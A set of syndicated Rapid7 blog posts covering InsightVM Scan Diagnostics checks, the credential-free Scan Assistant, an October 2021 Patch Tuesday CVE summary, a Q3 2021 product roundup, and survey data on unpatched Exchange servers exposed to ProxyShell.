No more combing through scan logs to get answers! These checks will be disabled by default, but you can configure them to run by adjusting your scan templates. When enabled, Scan Diagnostics checks will report a “vulnerable” result against assets when the Scan Engine is supplied with credentials but unable to gather local information.

The challenge of finding the right fix

For complete and accurate coverage, the InsightVM Scan Engine requires local access to systems being scanned. Most Microsoft checks are based on values found in the Windows Registry. Checks for Linux distributions typically require access to the package manager, which is important for vulnerability correlation (cutting down on noise due to backported fixes).

This means that for many types of scans, you need to tell the engine how it should authenticate by configuring credentials. When things go smoothly, the engine will collect all the data it needs for vulnerability or policy assessments. But when results aren’t as expected, it can be challenging to understand what went wrong.

The way the Security Console currently indicates authentication status results is rather coarse-grained. Credential Success means it’s all good, but a Credential Failure (or the puzzling “Partial Credential Success”) can often leave a VM analyst scratching their head about how to fix things.

Bringing greater visibility to your scanning environment

Our new Scan Diagnostics checks provide more detailed visibility into where things fell apart. Because the results are written as vulnerability checks, you’ll be able to use a lot of familiar product functionality to work with them. They can be enabled or disabled via scan templates, and you can report on them like any other category. We’ll also be providing solution information to make it easier to resolve issues, and you can look at the proof the scanner provides to get additional context.

InsightVM Scan Diagnostics: Troubleshooting Credential Issues for Authenticated Scanning

Another advantage of using check results for Scan Diagnostics is that they are built atop the expert system at the core of the scanner. This helps Scan Diagnostics target the most precise cause of an error and provide guidance accordingly. No more going through a laundry list of checkboxes to make sure your sites and assets are configured correctly.

Here is the initial set of Scan Diagnostics we’ll be releasing:

Credential Type	Check ID	Summary
AS400	rapid7-diagnostics-as400-service-usable	No usable AS400 service
SNMP	rapid7-diagnostics-snmp-service-usable	No usable SNMP service
Telnet	rapid7-diagnostics-telnet-service-usable	No usable Telnet service
SSH	rapid7-diagnostics-privilege-elevation-failed-cisco	Cisco SSH privilege elevation failed for the scan
	rapid7-diagnostics-privilege-elevation-failed-unix	Unix SSH privilege elevation failed for the scan
	rapid7-diagnostics-ssh-algorithm-compatibility	SSH algorithm mismatch between scan engine and target
	rapid7-diagnostics-unix-privilege-elevation-root	SSH credential is configured to elevate to a non-root user
	rapid7-diagnostics-unix-variant-authenticated-with-non-root-account	No SSH credentials with root privileges configured
CIFS	rapid7-diagnostics-cifs-read-access-errors	Access errors while attempting to read from the file system
	rapid7-diagnostics-cifs-sam-access-errors	Unable to access the remote Security Account Manager
	rapid7-diagnostics-cifs-sam-unknown-error	Unknown error while trying to access the remote Security Account Manager
	rapid7-diagnostics-cifs-write-access-errors	Access errors while attempting to write to the file system
	rapid7-diagnostics-smb2-share-access	Unable to obtain access to SMB2 shares
	rapid7-diagnostics-windows-registry-access-issues	Access issues interacting with the Windows Registry
	rapid7-diagnostics-windows-registry-enable-services-template	Windows Services not enabled in template
	rapid7-diagnostics-windows-registry-failed-to-enable-services	Failed to enable Windows Services
	rapid7-diagnostics-windows-registry-unexpected-error	Failed to connect to the Remote Registry Service
	rapid7-diagnostics-wmi-connection-error	Unable to connect to the WMI Service
	rapid7-diagnostics-wmi-dcom-port-error	Error when connecting to DCOM Ports (required for WMI)
	rapid7-diagnostics-wmi-permission-error	Permission error when connecting to the WMI Service
	rapid7-diagnostics-wmi-read-access-errors	Access errors encountered in attempts to read over WMI
	rapid7-diagnostics-wmi-unknown-error	Unknown error occurred trying to connect to the WMI Service
	rapid7-diagnostics-winrm-authentication-error	Authentication error when connecting to the WMI Service
	rapid7-diagnostics-winrm-listener-error	The WinRM listener on the target appears to be blocking the scan engine from connecting
	rapid7-diagnostics-winrm-unknown-error	Unknown error occurred trying to connect to the WinRM Service
	rapid7-diagnostics-winrm-unencrypted	The WinRM service is operating over an unencrypted protocol, potentially leaking valuable data

Note that these “vulnerabilities” carry the lowest possible severity and will not increase your risk score. However, they may increase overall vulnerability counts, so we’re leaving them turned off by default for now. If you do scan with them, you can adjust the scope of generated reports to exclude these results if you don’t want them to get passed through to remediation teams.

The existing status shown in the Authentication column of Scan Results and Node pages will remain the same for the time being, so that it is available regardless of whether this new Scan Diagnostics check type is enabled and won’t adjust anything on the corresponding dashboard card.

We’d love to hear any feedback on this new feature! Please reach out to your Customer Success Manager to let them know how it’s working out in your scans.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Passwordless Network Scanning: Same Insights, Less Risk

2021-10-18 Jimmy Cancilla

Post Syndicated from Jimmy Cancilla original https://blog.rapid7.com/2021/10/18/passwordless-network-scanning-same-insights-less-risk/

Passwordless Network Scanning: Same Insights, Less Risk

Password-based credentials are a ubiquitous part of our online lives, but they are prone to vulnerabilities. Combatting those vulnerabilities has been a major hurdle for security professionals, and it’s come at major cost for businesses. We are reinventing the credentialing process for our Network Scan Engine with the release of the Scan Assistant — a safer way to scan assets that limits the inherent drawbacks of credentials.

Passwords as a means of securing computer systems have been around for 60 years. Scholars believe MIT’s Compatible Time-Sharing System was the first to implement a password to allow different users to log in. Since then, passwords have become ubiquitous. Every operating system, website, and WiFi connection utilizes passwords as a means of restricting access.

Unfortunately, this has also proven to be fertile ground for attackers who wish to gain unauthorized access to data and computer systems. Due in part to the popularity — and potential weaknesses — of passwords, businesses have spent enormous amounts of time and money in building robust security programs in order to protect their intellectual property.

As a part of any good security program, companies regularly scan their networks to identify where they are vulnerable. One of the most uncomfortable nuances of network scans is that in order to fully assess a set of targets, the scanner must be able to authenticate to those targets. Providing the necessary credentials to the network scan engine comes with a number of challenges. These include:

Increased security risk: Storing credentials within an application immediately makes that application a potential vector for attack. If the application is compromised or misconfigured, an attacker could gain access to a comprehensive list of credentials, giving them the ability to compromise a customer’s network.
Credential management: Storing credentials within an application introduces additional operational challenges with managing those credentials. Anytime a credential changes on a target or set of targets, that credential will have to be updated within the application. This results in administrators having to manage the same set of credentials within multiple systems, which can be burdensome and error-prone. Using a centralized credential vault can help mitigate this challenge, but not all organizations are in a position to deploy such a service for every target within their environment.
Insufficient permissions: In order for a network scanner to accurately assess and report on the risk for a set of targets, the scanner needs to be capable of collecting sufficient information. Thus, the credentials supplied need to have a broad range of permissions associated with them — ideally, root or administrator-level — so the network scanner can perform a full collection of data. In practice, many organizations are either unaware of this requirement or hesitant to do so. This can result in collecting incomplete information, leading to reports that don’t fully convey the targets’ vulnerabilities.

Introducing the Scan Assistant

The Engineering team here at Rapid7 has spent a significant amount of time discussing, researching, and brainstorms solutions to the challenges with providing credentials for the purpose of performing network scans. The team decided that the ideal solution for our customers was to eliminate the need for credentials altogether. This led to the development of the Scan Assistant.

The Scan Assistant is a lightweight service that can be installed on each target you’re scanning. It’s designed to work specifically with the InsightVM and Nexpose Network Scan Engine so it can scan targets without the need to provide credentials. When the Network Scan Engine scans a target containing the Scan Assistant, it collects all the necessary information required to fully assess that target.

The Scan Assistant supports both vulnerability and policy scans performed by the Network Scan Engine. Providing coverage for both types of scans was a key requirement for the team. As a result, customers can quickly identify vulnerabilities and validate policies within their network without the operational burden of managing credentials or permissions. Customers will continue to get the exact same insights into their network while simultaneously reducing the risk of managing credentials within the product.

How it works

The Network Scan Engine and the Scan Assistant communicate over an encrypted channel by using a TLSv1.2 certificate. When the Scan Engine scans a target, there are specific pieces of information that it needs to collect from that target. The Scan Assistant has been designed to only provide the specific data that the Scan Engine needs in order to fully assess the target.

This implies that the Scan Assistant does not provide a means for arbitrarily accessing the filesystem. Furthermore, all commands sent from the Scan Engine to the Scan Assistant are signed, ensuring that only the Scan Engine with the correct signing key is capable of requesting data from a Scan Assistant.

Why it’s better than a credential

Administrative credentials provide the Scan Engine with more access than it needs and put you at risk if those credentials are compromised. The Scan Assistant provides the Scan Engine with only the access it needs, reducing risk.

Root credentials give the Scan Engine unrestricted access to run commands over OpenSSH, which can also introduce risk. It can be a challenge to restrict commands using sudo or similar tools. To solve this problem, the Scan Assistant requires commands to be signed by Rapid7. This reduces risk and transparently limits what the Scan Assistant is allowed to run.

Why it’s secure (in more technical terms)

The Scan Assistant is built on the transport layer security (TLS) protocol and only enables algorithms specified in the Commercial National Security Algorithm Suite (CNSA) by the National Security Agency (NSA). This includes support for Elliptic Curve Diffie-Hellman (ECDH) and Elliptic Curve Digital Signature Algorithm (ECDSA) with the P-521 curve to establish trust with the Scan Engine, and 256-bit Advanced Encryption Standard (AES) to achieve data secrecy between the Scan Engine and Scan Assistant.

The Network Scan Engine and the Scan Assistant use TLSv1.2 with two-way certificate authentication (client-side authentication). However, the server does not verify the client. Each time the Scan Assistant starts, it generates a new certificate. This makes it impossible to track an asset by tracking the scan assistant certificate used on the HTTPS listener. That means there’s no way for the scan engine to verify the certificate from the scan assistant. So in effect, the mechanism is a reverse one-way authentication.

Insight Agent vs. Scan Assistant

At first glance, it may seem that the Insight Agent and the Scan Assistant serve the same purpose. They are both small, background services that get deployed across a fleet of targets for the purpose of vulnerability and policy assessment. However, this is where their similarity ends. The Insight Agent and the Scan Assistant are fundamentally different in terms of the use cases they satisfy.

The Insight Agent is appropriate for assets that have internet connectivity and are capable of periodically publishing data to the platform. For these types of assets, such as laptops and workstations, the Insight Agent is the preferred technology.

The Scan Assistant is intended for assets and environments for which internet connectivity is either unavailable or heavily restricted. This may include assets such as Domain Controllers or database servers. Any device that is effectively air-gapped from the outside world would not be able to use the Insight Agent. These devices must be scanned using the Network Scan Engine in order to assess them for vulnerabilities. In this scenario, the Scan Assistant can help improve the performance of those scans without having to store credentials within the product.

Ultimately, you can deploy both the Insight Agent and the Scan Assistant to different parts of your network in order to provide a fast, secure, and comprehensive vulnerability assessment.

Feature	Insight Agent	Scan Assistant
Collection Type	Active – collects data periodically and publishes to the platform	Passive – only collects data when requested by a scan engine
Data Collected	Collects all data necessary in order to perform an assessment	Only collects the data requested by the scan engine
Platform connected?	Yes	No
Idle footprint	When not collecting data, periodically beacons health status to the platform	Contains an HTTPS listener waiting for incoming connections, otherwise does not perform any activity

Breakdown of the differences between the Insight Agent and the Scan Assistant

Performance improvement analysis

Preliminary performance analysis has shown promising improvements when performing scans with the Scan Assistant installed. Vulnerability scans have completed faster, and the total scan time has been more consistent than scans that rely on retrieving data via SMB or WMI.

Furthermore, scan times for policy-based scans have shown significant improvement, particularly against servers with a large number of users and groups (such as Domain Controllers). The following chart compares scan times for policy-based scans performed against different types of servers. The team plans to continue to collect and analyze the performance of the Scan Assistant and will share this analysis in a future article.

Passwordless Network Scanning: Same Insights, Less Risk — *Scan duration comparison between the Scan Assistant and SMB.* *It’s important to note that the timescale is logarithmic, so for most cases, the Scan Assistant provides orders of magnitude better performance than the SMB protocol.*

What’s next

Here are some of the major items we plan to work on next.

Add support for additional operating systems, including Linux, Unix, and macOS
Support the ability to perform DISA-based policy scans
Update the Security Console to support managing certificates on the scan engines

If you have any suggestions for features you would like to see, please speak with your Customer Success Manager.

Downloading the Scan Assistant

The Scan Assistant is currently in early access and is only available for Windows operating systems. If you are interested in the Scan Assistant and would like to deploy it in your environment, reach out to your Customer Success Manager to request access.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Patch Tuesday – October 2021

2021-10-12 Greg Wiseman

Post Syndicated from Greg Wiseman original https://blog.rapid7.com/2021/10/12/patch-tuesday-october-2021/

Patch Tuesday - October 2021

Today’s Patch Tuesday sees Microsoft issuing fixes for over 70 CVEs, affecting the usual mix of their product lines. From Windows, Edge, and Office, to Exchange, SharePoint, and Dynamics, there is plenty of patching to do for workstation and server administrators alike.

One vulnerability has already been seen exploited in the wild: CVE-2021-40449 is an elevation of privilege vulnerability in all supported versions of Windows, including the newly released Windows 11. Rated as Important, this is likely being used alongside Remote Code Execution (RCE) and/or social engineering attacks to gain more complete control of targeted systems.

Three CVEs were publicly disclosed before today, though haven’t yet been observed in active exploitation. CVE-2021-40469 is an RCE vulnerability affecting Microsoft DNS servers, CVE-2021-41335 is another privilege escalation vulnerability in the Windows Kernel, and CVE-2021-41338 is a flaw in Windows AppContainer allowing attackers to bypass firewall rules.

Attackers will likely be paying attention to the latest Windows Print Spooler vulnerability – CVE-2021-36970 is a Spoofing vulnerability with a CVSSv3 score of 8.8 that we don’t yet have much more information about. Also worth noting is CVE-2021-40486, an RCE affecting Microsoft Word, OWA, as well as SharePoint Server, which can be exploited via the Preview Pane. CVE-2021-40487 is another RCE affecting SharePoint Server that Microsoft expects to be exploited before too long.

Another notable vulnerability is CVE-2021-26427, the latest in Exchange Server RCEs. The severity is mitigated by the fact that attacks are limited to a “logically adjacent topology,” meaning that it cannot be exploited directly over the public Internet. Three other vulnerabilities related to Exchange Server were also patched: CVE-2021-41350, a Spoofing vulnerability; CVE-2021-41348, allowing elevation of privilege; and CVE-2021-34453, which is a Denial of Service vulnerability.

Finally, virtualization administrators should be aware of two RCEs affecting Windows Hyper-V: CVE-2021-40461 and CVE-2021-38672. Both affect relatively new versions of Windows and are considered Critical, allowing a VM to escape from guest to host by triggering a memory allocation error, allowing it to read kernel memory in the host.

Summary Charts

Summary Tables

Apps Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-41363	Intune Management Extension Security Feature Bypass Vulnerability	No	No	4.2	Yes

Browser Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-37980	Chromium: CVE-2021-37980 Inappropriate implementation in Sandbox	No	No	N/A	Yes
CVE-2021-37979	Chromium: CVE-2021-37979 Heap buffer overflow in WebRTC	No	No	N/A	Yes
CVE-2021-37978	Chromium: CVE-2021-37978 Heap buffer overflow in Blink	No	No	N/A	Yes
CVE-2021-37977	Chromium: CVE-2021-37977 Use after free in Garbage Collection	No	No	N/A	Yes
CVE-2021-37976	Chromium: CVE-2021-37976 Information leak in core	No	No	N/A	Yes
CVE-2021-37975	Chromium: CVE-2021-37975 Use after free in V8	No	No	N/A	Yes
CVE-2021-37974	Chromium: CVE-2021-37974 Use after free in Safe Browsing	No	No	N/A	Yes

Developer Tools Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-3450	OpenSSL: CVE-2021-3450 CA certificate check bypass with X509_V_FLAG_X509_STRICT	No	No	N/A	Yes
CVE-2021-3449	OpenSSL: CVE-2021-3449 NULL pointer deref in signature_algorithms processing	No	No	N/A	Yes
CVE-2020-1971	OpenSSL: CVE-2020-1971 EDIPARTYNAME NULL pointer de-reference	No	No	N/A	Yes
CVE-2021-41355	.NET Core and Visual Studio Information Disclosure Vulnerability	No	No	5.7	Yes

ESU Windows Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-38663	Windows exFAT File System Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-40465	Windows Text Shaping Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-36953	Windows TCP/IP Denial of Service Vulnerability	No	No	7.5	No
CVE-2021-40460	Windows Remote Procedure Call Runtime Security Feature Bypass Vulnerability	No	No	6.5	Yes
CVE-2021-36970	Windows Print Spooler Spoofing Vulnerability	No	No	8.8	No
CVE-2021-41332	Windows Print Spooler Information Disclosure Vulnerability	No	No	6.5	Yes
CVE-2021-41331	Windows Media Audio Decoder Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-41342	Windows MSHTML Platform Remote Code Execution Vulnerability	No	No	6.8	Yes
CVE-2021-41335	Windows Kernel Elevation of Privilege Vulnerability	No	Yes	7.8	No
CVE-2021-40455	Windows Installer Spoofing Vulnerability	No	No	5.5	No
CVE-2021-26442	Windows HTTP.sys Elevation of Privilege Vulnerability	No	No	7	No
CVE-2021-41340	Windows Graphics Component Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-38662	Windows Fast FAT File System Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-41343	Windows Fast FAT File System Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-40469	Windows DNS Server Remote Code Execution Vulnerability	No	Yes	7.2	Yes
CVE-2021-40443	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40466	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40467	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40449	Win32k Elevation of Privilege Vulnerability	Yes	No	7.8	No
CVE-2021-40489	Storage Spaces Controller Elevation of Privilege Vulnerability	No	No	7.8	Yes

Exchange Server Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-41350	Microsoft Exchange Server Spoofing Vulnerability	No	No	6.5	No
CVE-2021-26427	Microsoft Exchange Server Remote Code Execution Vulnerability	No	No	9	Yes
CVE-2021-41348	Microsoft Exchange Server Elevation of Privilege Vulnerability	No	No	8	No
CVE-2021-34453	Microsoft Exchange Server Denial of Service Vulnerability	No	No	7.5	No

Microsoft Dynamics Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-40457	Microsoft Dynamics 365 Customer Engagement Cross-Site Scripting Vulnerability	No	No	7.4	Yes
CVE-2021-41353	Microsoft Dynamics 365 (on-premises) Spoofing Vulnerability	No	No	5.4	No
CVE-2021-41354	Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability	No	No	4.1	No

Microsoft Office Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-40486	Microsoft Word Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40484	Microsoft SharePoint Server Spoofing Vulnerability	No	No	7.6	No
CVE-2021-40483	Microsoft SharePoint Server Spoofing Vulnerability	No	No	7.6	No
CVE-2021-41344	Microsoft SharePoint Server Remote Code Execution Vulnerability	No	No	8.1	No
CVE-2021-40487	Microsoft SharePoint Server Remote Code Execution Vulnerability	No	No	8.1	Yes
CVE-2021-40482	Microsoft SharePoint Server Information Disclosure Vulnerability	No	No	5.3	Yes
CVE-2021-40480	Microsoft Office Visio Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40481	Microsoft Office Visio Remote Code Execution Vulnerability	No	No	7.1	Yes
CVE-2021-40471	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40473	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40474	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40479	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40485	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40472	Microsoft Excel Information Disclosure Vulnerability	No	No	5.5	Yes

Microsoft Office Windows Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-40454	Rich Text Edit Control Information Disclosure Vulnerability	No	No	5.5	Yes

System Center Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-41352	SCOM Information Disclosure Vulnerability	No	No	7.5	Yes

Windows Vulnerabilities

CVE	Title	Exploited	Publicly Disclosed?	CVSSv3 Base Score	has FAQ?
CVE-2021-40464	Windows Nearby Sharing Elevation of Privilege Vulnerability	No	No	8	No
CVE-2021-40463	Windows NAT Denial of Service Vulnerability	No	No	7.7	No
CVE-2021-40462	Windows Media Foundation Dolby Digital Atmos Decoders Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-41336	Windows Kernel Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-38672	Windows Hyper-V Remote Code Execution Vulnerability	No	No	8	Yes
CVE-2021-40461	Windows Hyper-V Remote Code Execution Vulnerability	No	No	8	No
CVE-2021-40477	Windows Event Tracing Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-41334	Windows Desktop Bridge Elevation of Privilege Vulnerability	No	No	7	No
CVE-2021-40475	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-40468	Windows Bind Filter Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-41347	Windows AppX Deployment Service Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-41338	Windows AppContainer Firewall Rules Security Feature Bypass Vulnerability	No	Yes	5.5	No
CVE-2021-40476	Windows AppContainer Elevation Of Privilege Vulnerability	No	No	7.5	No
CVE-2021-40456	Windows AD FS Security Feature Bypass Vulnerability	No	No	5.3	Yes
CVE-2021-40450	Win32k Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-41357	Win32k Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40478	Storage Spaces Controller Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40488	Storage Spaces Controller Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-26441	Storage Spaces Controller Elevation of Privilege Vulnerability	No	No	7.8	Yes
CVE-2021-41345	Storage Spaces Controller Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-41330	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-41339	Microsoft DWM Core Library Elevation of Privilege Vulnerability	No	No	4.7	No
CVE-2021-40470	DirectX Graphics Kernel Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-41346	Console Window Host Security Feature Bypass Vulnerability	No	No	5.3	No
CVE-2021-41337	Active Directory Security Feature Bypass Vulnerability	No	No	4.9	Yes
CVE-2021-41361	Active Directory Federation Server Spoofing Vulnerability	No	No	5.4	Yes

What’s New in InsightVM: Q3 2021 in Review

2021-10-08 Sophie Johnson

Post Syndicated from Sophie Johnson original https://blog.rapid7.com/2021/10/08/whats-new-in-insightvm-q3-2021-in-review/

What's New in InsightVM: Q3 2021 in Review

In today’s post, we’re giving a rundown of new features and functionality launched in Q3 2021 for InsightVM and the Insight Platform. We hope you can begin to leverage these changes to drive success across your organization.

Apple Silicon support on the Insight Agent

We’re excited to announce that the Insight Agent now natively supports Apple Silicon chips!

Apple announced the first generation Apple Silicon chip — the M1 processor — in November 2020. This chip is the new standard on all MacBooks starting with the 2020 releases, and Apple plans to transition completely to Apple Silicon chips over the next two years.

The new Mac installer specifically designed for the Apple Silicon can be accessed right from Agent Management in the platform, in the download section. Learn more in our Apple Silicon Agent Support blog post.

What's New in InsightVM: Q3 2021 in Review

Asset and Vulnerability Details reports

This new feature allows you to easily communicate details of your assets and vulnerabilities with stakeholders in a PDF format. Simply click the Export to PDF button on the Vulnerability Details page, and you’ll have a PDF ready to share!

This is particularly useful if you’re attempting to collaborate while remediating a specific vulnerability. We’ll use a hypothetical security engineer named Jane to illustrate this.

Jane recently read about a new ransomware strain that leverages a specific vulnerability as part of an attack chain that seems to be targeting the industry of her organization. She opens the query builder in InsightVM, constructs a search query to identify the vulnerability by CVE, and discovers several instances. She wants to mention this during her morning all-hands sync so she can recruit other team members to her effort. She exports the vulnerability details page to a PDF, which allows her to share this out and provide more details to interested team members, who then can help her remediate this vulnerability much more quickly.

Moreover, while undertaking this effort, another team member — Bill — finds an asset that seems to be a complete tragedy in terms of patching and vulnerability prevalence. He creates the Asset Details report and shares this in an e-mail to his team, stating that this asset seems to be missing their organization’s patch cycle. He also suggests that they look for more of these types of assets because he knows that when there is one offender, there are often many.

Snyk integration for reporting vulnerabilities

Container Security assessments will now report Ruby vulnerabilities through an integration with the Snyk vulnerability database. This adds RubyGems packages to our Snyk-based coverage, which currently includes vulnerability detections for Java, JavaScript, and Python libraries. This integration is particularly helpful for organizations that perform scanning of Container Images at rest, in both public and private registries.

Emergent threat coverage recap

Q3 2021 was another busy quarter for high-priority cybersecurity threats. As part of our emergent threat response process, Rapid7’s VRM research and engineering teams released vulnerability checks and in-depth technical analysis to help InsightVM customers understand the risk of exploitation and assess their exposure to critical security threats. In July, CVE-2021-34527, dubbed “PrintNightmare” presented remediation challenges for many organizations amid active exploitation of the Windows Print Spooler service. In August, the ProxyShell exploit chain put on-premises instances of Microsoft Exchange Server at risk for remote code execution. More recently, widespread attacks took advantage of CVE-2021-26084, a critical flaw in Confluence Server & Confluence Data Center, to deploy cryptominers, exfiltrate data, and obtain initial access for ransomware operations.

Other notable emergent threats included:

Stay tuned!

As always, we’re continuing to work on exciting product enhancements and releases throughout the year. Keep an eye on our blog and release notes as we continue to highlight the latest in vulnerability management at Rapid7.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy

2021-10-06 Tom Sellers

Post Syndicated from Tom Sellers original https://blog.rapid7.com/2021/10/06/for-microsoft-exchange-server-vulnerabilities-patching-remains-patchy/

For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy

If you’ve been keeping tabs on the state of vulnerabilities, you’ve probably noticed that Microsoft Exchange has been in the news more than usual lately. Back in March 2021, Microsoft acknowledged a series of threats exploiting zero-day CVEs in on-premises instances of Exchange Server. Since then, several related exploit chains targeting Exchange have continued to be exploited in the wild.

Microsoft quickly released patches to help security teams keep attackers out of their Exchange environments. So, what does the state of patching look like today among organizations running impacted instances of Exchange?

The answer is more mixed — and more troubling — than you’d expect.

What is Exchange, and why should you care?

Exchange is a popular email and messaging service that runs on Windows Server operating systems, providing email and calendaring services to tens of thousands of organizations. It also integrates with unified messaging, video chat, and phone services. That makes Exchange an all-in-one messaging service that can handle virtually all communication streams for an enterprise customer.

An organization’s Exchange infrastructure can contain copious amounts of sensitive business and customer information in the form of emails and a type of shared mailbox called Public Folders. This is one of the reasons why Exchange Server vulnerabilities pose such a significant threat. Once compromised, Exchange’s search mechanisms can make this data easy to find for attackers, and a robust rules engine means attackers can create hard-to-find automation that forwards data out of the organization.

An attacker who manages to get into an organization’s Exchange Server could gain visibility into their Active Directory or even compromise it. They could also steal credentials and impersonate an authentic user, making phishing and other attempts at fraud more likely to land with targeted victims.

Sizing up the threats

The credit for discovering this recent family of Exchange Server vulnerabilities goes primarily to security researcher Orange Tsai, who overviewed them in an August 2021 Black Hat talk. He cited 8 vulnerabilities, which resulted in 3 exploit chains:

ProxyLogon: This vulnerability could allow attackers to use pre-authentication server-side request forgery (SSRF) plus a post-authentication arbitrary file write, resulting in remote code execution (RCE) on the server.
ProxyOracle: With a cookie from an authenticated user (obtained through a reflected XSS link), a Padding Oracle attack could provide an intruder with plain-text credentials for the user.
ProxyShell: Using a pre-authentication access control list (ACL) bypass, a PrivEsc (not going up to become an administrator but down to a user mailbox), and a post-authentication arbitrary file write, this exploit chain could allow attackers to execute an RCE attack.

Given the sensitivity of Exchange Server data and the availability of patches and resources from Microsoft to help defend against these threats, you’d think adoption of these patches would be almost universal. But unfortunately, the picture of patching for this family of vulnerabilities is still woefully incomplete.

A patchwork of patch statuses

In Rapid7’s OCTO team, we keep tabs on the exposure for major vulnerabilities like these, to keep our customers and the security community apprised of where these threats stand and if they might be at risk. To get a good look at the patch status among Exchange Servers for this family of attack chains, we had to develop new techniques for fingerprinting Exchange versions so we could determine which specific hotfixes had been applied.

With a few tweaks, we were able to adjust our measurement approach to get a clear enough view that we can draw some strong conclusions about the patch statuses of Exchange Servers on the public-facing internet. Here’s what we found:

Out of the 306,552 Exchange OWA servers we observed, 222,145 — or 72.4% —were running an impacted version of Exchange (this includes 2013, 2016, and 2019).
Of the impacted servers, 29.08% were still unpatched for the ProxyShell vulnerability, and 2.62% were partially patched. That makes 31.7% of servers that may still be vulnerable.

For Microsoft Exchange Server Vulnerabilities, Patching Remains Patchy

To put it another, starker way: 6 months after patches have been available for the ProxyLogon family of vulnerabilities, 1 in 3 impacted Exchange Servers are still susceptible to attacks using the ProxyShell method.

When we sort this data by the Exchange Server versions that organizations are using, we see the uncertainty in patch status tends to cluster around specific versions, particularly 2013 Cumulative Update 23.

We also pulled the server header for these instances with the goal of using the version of IIS as a proxy indicator of what OS the servers may be running — and we found an alarmingly large proportion of instances that were running end-of-life servers and/or operating systems, for which Microsoft no longer issues patch updates.

That group includes the two bars on the left of this graph, which represent 2007 and 2010 Exchange Server versions: 75,300 instances of 2010 and 8,648 instances of 2007 are still running out there on the internet, roughly 27% of all instances we observed. Organizations still operating these products can count themselves lucky that ProxyShell and ProxyLogon don’t impact these older versions of Exchange (as far as we know). But that doesn’t mean those companies are out of the woods — if you still haven’t replaced Exchange Server 2010, you’re probably also doing other risky things in your environment.

Looking ahead, the next group of products that will go end-of-life are the Windows Server 2012 and 2012 R2 operating systems, represented in green and yellow, respectively, within the graph. That means 92,641 instances of Exchange — nearly a third of all Exchange Servers on the internet — will be running unsupported operating systems for which Microsoft isn’t obligated to provide security fixes after they go end-of-life in 2023.

What you can do now

It’s a matter of when, not if, we encounter the next family of vulnerabilities that lets attackers have a field day with huge sets of sensitive data like those contained in Exchange Servers. And for companies that haven’t yet patched, ProxyShell and its related attack chains are still a real threat. Here’s what you can do now to proactively mitigate these vulnerabilities.

First things first: If your organization is running one of the 1 in 3 affected instances that are vulnerable due to being unpatched, install the appropriate patch right away.
Stay current with patch updates as a routine priority. It is possible to build Exchange environments with near-100% uptimes, so there isn’t much argument to be made for foregoing critical patches in order to prevent production interruptions.
If you’re running a version of Exchange Server or Windows OS that will soon go end-of-life, start planning for how you’ll update to products that Microsoft will continue to support with patches. This way, you’ll be able to quickly and efficiently mitigate vulnerabilities that arise, before attackers take advantage of them.

If you’re already a Rapid7 customer, there’s good news: InsightVM already has authenticated scans to detect these vulnerabilities, so users of the product should already have a good sense of where their Exchange environments stand. On the offensive side, your red teams and penetration testers can highlight the risk of running vulnerable Exchange instances with modules exercising ProxyLogon and ProxyShell. And as our research team continues to develop techniques for getting this kind of detailed information about exposures, we ensure our products know about those methods so they can more effectively help customers understand their vulnerabilities.

